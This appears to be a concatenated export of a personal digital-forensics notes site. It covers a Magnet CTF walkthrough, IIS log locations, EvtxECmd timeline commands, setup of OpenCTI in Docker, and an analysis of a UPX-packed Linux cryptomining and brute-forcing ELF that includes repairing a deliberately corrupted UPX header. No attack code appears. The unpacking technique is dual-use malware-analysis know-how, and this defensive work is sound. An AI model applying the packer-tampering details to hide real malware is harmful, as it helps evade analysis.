For this we'll use Magnet Forensics' AXIOM. We've already created a case and ingested our E01, memory dumps, and PCAP files. For information on how to create a case and add data plesae see [Magnet CTF Week 0](/ctf-challenges/magnet-weekly-ctf-challenge/magnet-ctf-week-1).

As you can see, AXIOM makes light work of processing images and presenting information in a single pane of glass. On the left hand side under 'Operating System', select 'Operating System Information'. Clearly this has been identified as **Windows 10 Enterprise, build 19041**. On the right hand side we have a tonne of information which has been extracted from the registry and parsed. If required, we could export a copy of both the SYSTEM and SOFTWARE registry hives to verify and validate the information being presented, however that is outside the scope of this guide.

![](/files/-MIxB6dDvVsdS8OWsU4V)

**Q 3.** What was the local time of the Server?

This question itself is a bit ambiguous. Time at the point of the breach? Of the acquisition? At shutdown? For this, we'll look at local time zone information and also the last modified file on the file system (lastalive0.dat).

Back to artefacts. Bottom left hand corner, we can see **Timezone Information**.&#x20;

![](/files/-MIxEZ20sgrUsuJr8ZHr)

We can see a wealth of information regarding AXIOM's data source. This shows the timezone was UTC -8:00 Pacific Time.


# Windows

Typical location & description of various log files

## **IIS Logs Location**

On a standard Windows Server, IIS log files are found at %SystemDrive%\inetpub\logs\LogFiles by default.

## How to Find IIS Log Files on IIS 7 and Later

1. Go to Windows Start and run “inetmgr”. Alternatively, you can go to Administrative Tools → Internet Information Services (IIS) Manager.<br>
2. Click on “Sites” in the left-hand tree menu to display a list of sites on the right of the screen. Note your site ID number, which is what IIS saves logs based on.<br>
3. Within the tree view or the grid view, double click on your site. Next, double-click the Logging icon for the logging settings screen to open.<br>
4. Find your IIS log files in the Directory field of the logging settings screen.<br>
5. Go to the IIS log files location in the directory field. Inside this folder, there are sub folders for each site configured with IIS. The naming pattern for the folders the logs are in is W3SVC1, W3SVC2, etc. The number at the end of the folder name corresponds to the site ID mentioned in step No. 2. Thus, W3SVC2 corresponds to site ID 2.

## How to Find IIS Log Files on Azure

Azure Cloud:

1. IIS log files are automatically saved in [Azure Cloud Services](https://azure.microsoft.com/en-us/services/cloud-services/).
2. Access log files by using the Remote Desktop to connect to a specific server. There, files are stored in a path similar to this one: C:\Resources\directory\\{some random guid}.{app name}.DiagnosticStore\LogFiles\Web\W3SVC{random number}

[Azure App Services](https://azure.microsoft.com/en-us/services/app-service/):

1. Ensure that web server logging is enabled.
2. Set web server logging to save to the file system.
3. The files are located under: D:\home\LogFiles\http\RawLogs via the KUDU console.


# Generating Log Timelines

Generate timeline based on Windows Event logs using EvtxECmd.exe

```
EvtxECmd.exe -f "C:\path\to\single\log\security.etvx" --csvf "C:\output\folder" FileName

Or to generate a CSV based on multiple Evtx logs stored within a single directory (or recursive directories)

EvtxECmd.exe -d "C:\path\to\multiple\logs" --csvf "C:\output\folder" BigTimeline.csv

-f denotes single file
-d denotes directory to parse
-csv for directory, save file as default name (date/time format_Evtx_ECmd_Output.csv)
-csvf for directory and to set filename "BigTimeline.csv"
```

Review CSV using [timeline explorer](https://ericzimmerman.github.io/#!index.md)


# Identifying UPX packed ELF, decompressing, fixing, and analysing Linux malware

We'll take a look at analysing a piece of Linux malware. This sample is an ELF file, containing a UPX packed binary, capable of port scanning, SSH bruteforcing, deploying XMRig, and self replicating.

Download the sample here; <https://www.virustotal.com/gui/file/7f28b2791ad94a202eea5e4c91d47cdeadca4723723427af574519f8aedbf15e>

We'll first look at the header of the file to see what it's identified as;

```
$ file malware-sample
malware-sample: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
```

Using a hex editor, we can have a quick look at the header.

```
└─$ xxd malware-sample | head
00000000: 7f45 4c46 0101 0103 0000 0000 0000 0000  .ELF............
00000010: 0200 0300 0100 0000 b8d2 0201 3400 0000  ............4...
00000020: 0000 0000 0000 0000 3400 2000 0200 2800  ........4. ...(.
00000030: 0000 0000 0100 0000 0000 0000 0010 c000  ................
00000040: 0010 c000 7fca 4200 7fca 4200 0500 0000  ......B...B.....
00000050: 0010 0000 0100 0000 7801 0000 7861 8208  ........x...xa..
00000060: 7861 8208 0000 0000 0000 0000 0600 0000  xa..............
00000070: 0010 0000 dd93 0689 5550 5821 d007 0d0c  ........UPX!....
00000080: 0000 0000 0000 0000 0000 0000 f400 0000  ................
00000090: 8300 0000 0800 0000 5f7b b2f9 7f45 4c46  ........_{...ELF
```

This indicates that this ELF binary contains UPX packed binary data. What is UPX?

<https://upx.github.io/>

UPX is a free, secure, portable, extendable, high-performance executable packer for several executable formats.

```
UPX is an advanced executable file compressor.
UPX will typically reduce the file size of programs and DLLs by around 50%-70%, thus reducing disk space, network load times, download times and other distribution and storage costs.
```

Ok, so we're going to have to unpack the file. We can use upx, which is already installed in Kali.

<figure><img src="/files/RgXxrBVmJhaWpKmZsAs4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/G6hZ1D1iMvdKilcOhwtB" alt=""><figcaption></figcaption></figure>

Ok, seems simple enough, let's unpack this UPX file.

```
$ upx -d malware-sample -o malware-sample-decompressed.elf

                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: malware-sample: CantUnpackException: p_info corrupted

Unpacked 1 file: 0 ok, 1 error.
```

Of course it wouldn't be that easy :laughing:

Before we continue, let's have a look at this file (in its compressed form) using strings and IDA.

**strings**

<figure><img src="/files/TGNVIAOofW6RdIL3p5U7" alt=""><figcaption></figcaption></figure>

Fairly useless, other than giving us an indication that the file is packed with UPX (confirming what we already identified above)

Loading the binary into IDA provides more of an indication that something isn't right. sp-analysis, red markers, lack of sub-routines, sometimes indicates that there's either not a whole lot happening (which we know isn't the case, given the nature of the sample) or that IDA can't decompile/reassemble these routines.&#x20;

<figure><img src="/files/0PjU92Q3IxhY5dxNRQzS" alt=""><figcaption></figcaption></figure>

Back to our corrupt UPX archive. I came across this article which was helpful <https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/>

In summary; there are two sections in the original binary which we can use to repair the p\_info header so that it isn't corrupt. We'll start with the footer, which we know is 8 bytes prior to the end of the file.

<figure><img src="/files/PDOPOH7qh8PfDMDNq596" alt=""><figcaption><p>Blue is file size / p_info, red is file footer/EOF marker.</p></figcaption></figure>

Then we go back to the top of the file, find the UPX! header. We notice that the section after the UPX! marker is empty.

<figure><img src="/files/tHT37UCMBc5x1VCHniiz" alt=""><figcaption></figcaption></figure>

8 bytes after the end of the UPX! header, we need to insert our file size value (F8 BF 7B 00) which we recovered above. We take that value, insert it twice, 8 bytes after the end of the UPX! marker.

<figure><img src="/files/iJdTB6q3kjnr0nZke0dW" alt=""><figcaption></figcaption></figure>

Save this file and then use UPX to unpack it

```
└─$ upx -d malware-sample-fixed -o malware.elf
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   8110072 <-   4379004   53.99%   linux/i386    malware.elf

Unpacked 1 file.
```

Now we can open it in IDA (or ghidra). We can see there are a lot more unpacked functions, some with some interesting names, and there's obviously a lot of data here to analyse.

<figure><img src="/files/RX5vHs2SahkqOxXmxxWc" alt=""><figcaption><p>These are values contained in the file itself, not files/folders on my filesystem..</p></figcaption></figure>

.. then you can go from there, analyse the file, understand what the file does, and maybe even write detection rules..


# PDF Analysis

{% embed url="<https://github.com/filipi86/MalwareAnalysis-in-PDF>" %}


# Walking the VAD tree

<https://computer.forensikblog.de/en/2007/05/walking-the-vad-tree.html>


# What is CTI/OpenCTI?

> Threat intelligence is **data that is collected, processed, and analyzed to understand a threat actor’s motives, targets, and attack behaviors**. Threat intelligence enables us to make faster, more informed, data-backed security decisions and change their behavior from reactive to proactive in the fight against threat actors.

{% embed url="<https://www.crowdstrike.com/cybersecurity-101/threat-intelligence>" %}


# Setting up OpenCTI

There are numerous intel feeds (both free and paid commercial) available which presents an information overload for those trying to keep up with contemporary cyber threat intelligence.

I was searching for a simple, easy to use platform which I could run and administer myself, without a steep learning curve. OpenCTI was chosen because it ticks those boxes, it's opensource, and supports a wide range of integrations.

In my environment I'm using Docker, managed with Portainer. I won't go through the setup steps for these, so this guide will assume that you are reasonably familiar with how Docker works, and you have access to the web interface for Portainer.

This deployment model is also on a single node. The containers are run/managed on a single host, nothing is distributed. This makes it easier for setting up a single host if you're looking at OpenCTI as a proof of concept or deploying it in an environment without strenuous requirements.

{% embed url="<https://github.com/OpenCTI-Platform/docker>" %}

**Note**: As OpenCTI has a dependency on ElasticSearch, you have to set the `vm.max_map_count` before running the containers, as mentioned in the [ElasticSearch documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html#docker-cli-run-prod-mode).

```
$ sudo sysctl -w vm.max_map_count=1048575
```

To make this parameter persistent, add the following to the end of your `/etc/sysctl.conf`:

```
$ vm.max_map_count=1048575
```

A docker-compose file has been provided here; <https://github.com/OpenCTI-Platform/docker/blob/master/docker-compose.yml>

You'll see there are several variables contained within docker-compose.yml such as;

```
- APP__ADMIN__EMAIL=${OPENCTI_ADMIN_EMAIL}
- APP__ADMIN__PASSWORD=${OPENCTI_ADMIN_PASSWORD}
- APP__ADMIN__TOKEN=${OPENCTI_ADMIN_TOKEN}
```

Pull the example environment variable file; <https://github.com/OpenCTI-Platform/docker/blob/master/.env.sample>

For the above example you'll need v4 UUID values. Generate them here; <https://www.uuidgenerator.net/version4>

Navigate to your Portainer interface.\
Go to Stacks\
Add Stack (name: opencti)\
Build method: web editor\
Paste contents of docker-compose.yml into 'web editor'\
\
There appears to be some conflicting information being shared on various different guides about setting the environment variables. Underneath the 'web editor' field you'll see an 'advanced mode' link. Click this. It will expand another field and you'll be able to post/set multiple environment variables for this stack in one go.

![](/files/M6xGJ5O2X32v8CxwbRvu)

![](/files/3FfyI9Mol01tnr0u95YD)

Substitute UUIDv4 with the values you generated via the UUID generator. \
:exclamation:the password for minio needs to be more than 6 characters, otherwise it'll fail to start and you'll be in a word of pain with cascading container failures:exclamation:

Click 'deploy the stack'. Give it some time, depending on your hardware and internet speed it could take \~30 minutes. It took about 10 minutes for me.


# Container Management

![You should see these containers deployed.](/files/CS7UVCiTTfcgo1VFXiDW)

Now that these containers have been deployed, there are a few things to remember.&#x20;

When you created the 'opencti' stack (or whatever you called it), it'll create a default network (opencti\_default). This defines an internal IP range used by docker containers assigned to that network. DHCP is used by default, so you need to remember that if you're going to refer to your OpenCTI host by hostname and not IP address, you need to ensure your DNS settings are configured correctly so the hostname will resolve. That's outside the scope of this guide. If you want to follow along with this guide, just be sure to set a static IP address for your OpenCTI container.

To set a static IP;\
Portainer > Containers > opencti\_opencti\_1 > duplicate/edit > network > set a static IP (which can be communicated with from the other containers on that network)

![](/files/l3IZwy1gVHRM0wUdV72T)

In the above example, the OpenCTI container's IP address is **172.18.0.8**




---

[Next Page](/llms-full.txt/1)

